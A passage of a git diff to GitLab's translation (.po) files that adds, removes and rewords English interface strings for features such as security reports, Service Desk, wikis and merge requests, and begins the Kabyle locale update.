+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/kab/gitlab.po b/locale/kab/gitlab.po
index c1ce1e045a6..829f4d3beb5 100644
--- a/locale/kab/gitlab.po
+++ b/locale/kab/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: kab\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:58\n"
+"PO-Revision-Date: 2021-04-02 00:20\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
